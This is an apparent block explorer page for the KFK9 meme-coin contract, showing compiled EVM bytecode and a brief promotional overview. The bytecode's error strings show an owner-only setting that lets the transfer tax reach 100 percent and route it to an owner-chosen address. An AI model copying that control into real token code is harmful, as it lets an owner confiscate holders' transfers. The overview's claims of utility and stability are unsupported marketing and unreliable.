565b600060ff82169050919050565b611b6581611b4f565b82525050565b6000602082019050611b806000830184611b5c565b92915050565b600060208284031215611b9c57611b9b6119c3565b5b6000611baa84828501611a47565b91505092915050565b600060208284031215611bc957611bc86119c3565b5b6000611bd784828501611a11565b91505092915050565b611be9816119e8565b82525050565b6000602082019050611c046000830184611be0565b92915050565b60008060408385031215611c2157611c206119c3565b5b6000611c2f85828601611a11565b9250506020611c4085828601611a11565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c9157607f821691505b602082108103611ca457611ca3611c4a565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611d0660288361191c565b9150611d1182611caa565b604082019050919050565b60006020820190508181036000830152611d3581611cf9565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d7260208361191c565b9150611d7d82611d3c565b602082019050919050565b60006020820190508181036000830152611da181611d65565b9050919050565b7f4275726e20616d6f756e7420657863656564732062616c616e63650000000000600082015250565b6000611dde601b8361191c565b9150611de982611da8565b602082019050919050565b60006020820190508181036000830152611e0d81611dd1565b9050919050565b7f54617820726563697069656e742063616e6e6f7420626520746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b6000611e7060288361191c565b9150611e7b82611e14565b604082019050919050565b60006020820190508181036000830152611e9f81611e63565b9050919050565b7f43616e6e6f74207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f0260238361191c565b9150611f0d82611ea6565b604082019050919050565b60006020820190508181036000830152611f3181611ef5565b9050919050565b7f5472616e7366657220616d6f756e7420657863656564732062616c616e636500600082015250565b6000611f6e601f8361191c565b9150611f7982611f38565b602082019050919050565b60006020820190508181036000830152611f9d81611f61565b9050919050565b7f54617820666565206d757374206265206265747765656e203020616e6420313060008201527f3000000000000000000000000000000000000000000000000000000000000000602082015250565b600061200060218361191c565b915061200b82611fa4565b604082019050919050565b6000602082019050818103600083015261202f81611ff3565b9050919050565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b600061206c601f8361191c565b915061207782612036565b602082019050919050565b6000602082019050818103600083015261209b8161205f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006120fe60248361191c565b9150612109826120a2565b604082019050919050565b6000602082019050818103600083015261212d816120f1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061219060228361191c565b915061219b82612134565b604082019050919050565b600060208201905081810360008301526121bf81612183565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061222260258361191c565b915061222d826121c6565b604082019050919050565b6000602082019050818103600083015261225181612215565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006122b460238361191c565b91506122bf82612258565b604082019050919050565b600060208201905081810360008301526122e3816122a7565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b6000612320601e8361191c565b915061232b826122ea565b602082019050919050565b6000602082019050818103600083015261234f81612313565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061239082611a26565b915061239b83611a26565b92508282039050818111156123b3576123b2612356565b5b92915050565b60006123c482611a26565b91506123cf83611a26565b92508282019050808211156123e7576123e6612356565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612423601b8361191c565b915061242e826123ed565b602082019050919050565b6000602082019050818103600083015261245281612416565b9050919050565b600061246482611a26565b915061246f83611a26565b925082820261247d81611a26565b9150828204841483151761249457612493612356565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006124d582611a26565b91506124e083611a26565b9250826124f0576124ef61249b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061255760218361191c565b9150612562826124fb565b604082019050919050565b600060208201905081810360008301526125868161254a565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b60006125c3601a8361191c565b91506125ce8261258d565b602082019050919050565b600060208201905081810360008301526125f2816125b6565b905091905056fea26469706673582212207592b8d5865c293d5911d52d1edf0c8fe8c3a55133bb86d7f57646d41ecda85b64736f6c63430008110033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a071dcf411610071578063a071dcf4146102fa578063a9059cbb14610318578063acef603714610348578063c4081a4c14610364578063dd62ed3e1461038057610121565b8063715018a61461027a578063737ea06e1461028457806378e3079e146102a25780638da5cb5b146102be57806395d89b41146102dc57610121565b8063313ce567116100f4578063313ce567146101c257806342966c68146101e05780635600f04f146101fc5780635f5152261461021a57806370a082311461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e6103b0565b60405161013b91906119a1565b60405180910390f35b61015e60048036038101906101599190611a5c565b610442565b60405161016b9190611ab7565b60405180910390f35b61017c610470565b6040516101899190611ae1565b60405180910390f35b6101ac60048036038101906101a79190611afc565b61047a565b6040516101b99190611ab7565b60405180910390f35b6101ca610592565b6040516101d79190611b6b565b60405180910390f35b6101fa60048036038101906101f59190611b86565b6105a9565b005b610204610805565b60405161021191906119a1565b60405180910390f35b610234600480360381019061022f9190611bb3565b61083e565b6040516102419190611ae1565b60405180910390f35b610264600480360381019061025f9190611bb3565b610887565b6040516102719190611ae1565b60405180910390f35b6102826108d0565b005b61028c610a23565b6040516102999190611bef565b60405180910390f35b6102bc60048036038101906102b79190611bb3565b610a49565b005b6102c6610b91565b6040516102d39190611bef565b60405180910390f35b6102e4610bba565b6040516102f191906119a1565b60405180910390f35b610302610c4c565b60405161030f9190611ae1565b60405180910390f35b610332600480360381019061032d9190611a5c565b610c52565b60405161033f9190611ab7565b60405180910390f35b610362600480360381019061035d9190611a5c565b610c80565b005b61037e60048036038101906103799190611b86565b610fc5565b005b61039a60048036038101906103959190611c0a565b6110b5565b6040516103a79190611ae1565b60405180910390f35b6060600280546103bf90611c79565b80601f01602080910402602001604051908101604052809291908181526020018280546103eb90611c79565b80156104385780601f1061040d57610100808354040283529160200191610438565b820191906000526020600020905b81548152906001019060200180831161041b57829003601f168201915b5050505050905090565b600061044c61113c565b61045e61045761118b565b8484611193565b6001905061046a61135c565b92915050565b6000600554905090565b600061048461113c565b61048f848484611365565b6000600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104da61118b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561055a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055190611d1c565b60405180910390fd5b61057e8561056661118b565b610579868561177c90919063ffffffff16565b611193565b600191505061058b61135c565b9392505050565b6000600460009054906101000a900460ff16905090565b6105b161118b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461063e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063590611d88565b60405180910390fd5b61064661113c565b60086000610652610b91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156106cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c690611df4565b60405180910390fd5b61072881600860006106df610b91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177c90919063ffffffff16565b60086000610734610b91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107878160055461177c90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff166107ad610b91565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107f29190611ae1565b60405180910390a361080261135c565b50565b6040518060400160405280601481526020017f68747470733a2f2f6b666b392d636f696e2e696f00000000000000000000000081525081565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108d861118b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610965576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095c90611d88565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a5161118b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad590611d88565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4490611e86565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610bc990611c79565b80601f0160208091040260200160405190810160405280929190818152602001828054610bf590611c79565b8015610c425780601f10610c1757610100808354040283529160200191610c42565b820191906000526020600020905b815481529060010190602001808311610c2557829003601f168201915b5050505050905090565b60065481565b6000610c5c61113c565b610c6e610c6761118b565b8484611365565b60019050610c7a61135c565b92915050565b610c8861118b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0c90611d88565b60405180910390fd5b610d1d61113c565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8390611f18565b60405180910390fd5b60086000610d98610b91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610e15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0c90611f84565b60405180910390fd5b610e6e8160086000610e25610b91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177c90919063ffffffff16565b60086000610e7a610b91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f0a81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117db90919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16610f6c610b91565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fb19190611ae1565b60405180910390a3610fc161135c565b5050565b610fcd61118b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461105a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105190611d88565b60405180910390fd5b6000811015801561106c575060648111155b6110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290612016565b60405180910390fd5b8060068190555050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260015403611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890612082565b60405180910390fd5b6002600181905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f990612114565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611271576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611268906121a6565b60405180910390fd5b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161134f9190611ae1565b60405180910390a3505050565b60018081905550565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cb90612238565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611443576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143a906122ca565b60405180910390fd5b600061146d606461145f6006548561183990919063ffffffff16565b6118b390919063ffffffff16565b90506000611484828461177c90919063ffffffff16565b90506114d883600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177c90919063ffffffff16565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156d81600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117db90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116248260086000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117db90919063ffffffff16565b60086000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116e69190611ae1565b60405180910390a3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161176d9190611ae1565b60405180910390a35050505050565b6000828211156117c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b890612336565b60405180910390fd5b600082846117cf9190612385565b90508091505092915050565b60008082846117ea91906123b9565b90508381101561182f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182690612439565b60405180910390fd5b8091505092915050565b600080830361184b57600090506118ad565b600082846118599190612459565b905082848261186891906124ca565b146118a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189f9061256d565b60405180910390fd5b809150505b92915050565b60008082116118f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ee906125d9565b60405180910390fd5b6000828461190591906124ca565b90508091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561194b578082015181840152602081019050611930565b60008484015250505050565b6000601f19601f8301169050919050565b600061197382611911565b61197d818561191c565b935061198d81856020860161192d565b61199681611957565b840191505092915050565b600060208201905081810360008301526119bb8184611968565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119f3826119c8565b9050919050565b611a03816119e8565b8114611a0e57600080fd5b50565b600081359050611a20816119fa565b92915050565b6000819050919050565b611a3981611a26565b8114611a4457600080fd5b50565b600081359050611a5681611a30565b92915050565b60008060408385031215611a7357611a726119c3565b5b6000611a8185828601611a11565b9250506020611a9285828601611a47565b9150509250929050565b60008115159050919050565b611ab181611a9c565b82525050565b6000602082019050611acc6000830184611aa8565b92915050565b611adb81611a26565b82525050565b6000602082019050611af66000830184611ad2565b92915050565b600080600060608486031215611b1557611b146119c3565b5b6000611b2386828701611a11565b9350506020611b3486828701611a11565b9250506040611b4586828701611a47565b9150509250925092565b600060ff82169050919050565b611b6581611b4f565b82525050565b6000602082019050611b806000830184611b5c565b92915050565b600060208284031215611b9c57611b9b6119c3565b5b6000611baa84828501611a47565b91505092915050565b600060208284031215611bc957611bc86119c3565b5b6000611bd784828501611a11565b91505092915050565b611be9816119e8565b82525050565b6000602082019050611c046000830184611be0565b92915050565b60008060408385031215611c2157611c206119c3565b5b6000611c2f85828601611a11565b9250506020611c4085828601611a11565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c9157607f821691505b602082108103611ca457611ca3611c4a565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611d0660288361191c565b9150611d1182611caa565b604082019050919050565b60006020820190508181036000830152611d3581611cf9565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d7260208361191c565b9150611d7d82611d3c565b602082019050919050565b60006020820190508181036000830152611da181611d65565b9050919050565b7f4275726e20616d6f756e7420657863656564732062616c616e63650000000000600082015250565b6000611dde601b8361191c565b9150611de982611da8565b602082019050919050565b60006020820190508181036000830152611e0d81611dd1565b9050919050565b7f54617820726563697069656e742063616e6e6f7420626520746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b6000611e7060288361191c565b9150611e7b82611e14565b604082019050919050565b60006020820190508181036000830152611e9f81611e63565b9050919050565b7f43616e6e6f74207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f0260238361191c565b9150611f0d82611ea6565b604082019050919050565b60006020820190508181036000830152611f3181611ef5565b9050919050565b7f5472616e7366657220616d6f756e7420657863656564732062616c616e636500600082015250565b6000611f6e601f8361191c565b9150611f7982611f38565b602082019050919050565b60006020820190508181036000830152611f9d81611f61565b9050919050565b7f54617820666565206d757374206265206265747765656e203020616e6420313060008201527f3000000000000000000000000000000000000000000000000000000000000000602082015250565b600061200060218361191c565b915061200b82611fa4565b604082019050919050565b6000602082019050818103600083015261202f81611ff3565b9050919050565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b600061206c601f8361191c565b915061207782612036565b602082019050919050565b6000602082019050818103600083015261209b8161205f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006120fe60248361191c565b9150612109826120a2565b604082019050919050565b6000602082019050818103600083015261212d816120f1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061219060228361191c565b915061219b82612134565b604082019050919050565b600060208201905081810360008301526121bf81612183565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061222260258361191c565b915061222d826121c6565b604082019050919050565b6000602082019050818103600083015261225181612215565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006122b460238361191c565b91506122bf82612258565b604082019050919050565b600060208201905081810360008301526122e3816122a7565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b6000612320601e8361191c565b915061232b826122ea565b602082019050919050565b6000602082019050818103600083015261234f81612313565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061239082611a26565b915061239b83611a26565b92508282039050818111156123b3576123b2612356565b5b92915050565b60006123c482611a26565b91506123cf83611a26565b92508282019050808211156123e7576123e6612356565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612423601b8361191c565b915061242e826123ed565b602082019050919050565b6000602082019050818103600083015261245281612416565b9050919050565b600061246482611a26565b915061246f83611a26565b925082820261247d81611a26565b9150828204841483151761249457612493612356565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006124d582611a26565b91506124e083611a26565b9250826124f0576124ef61249b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061255760218361191c565b9150612562826124fb565b604082019050919050565b600060208201905081810360008301526125868161254a565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b60006125c3601a8361191c565b91506125ce8261258d565b602082019050919050565b600060208201905081810360008301526125f2816125b6565b905091905056fea26469706673582212207592b8d5865c293d5911d52d1edf0c8fe8c3a55133bb86d7f57646d41ecda85b64736f6c63430008110033
Loading...
Loading
Loading...
Loading
OVERVIEW
KFK9 is a Crypto asset aimed at providing the best of many different crypto projects, in one. Inspired by the success of Dogecoin, Shiba Inu, Pepe, and Dogwifhat; e.g. MEME coins. While still providing utility and stablity in the ever growing cryptocurrency market.Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.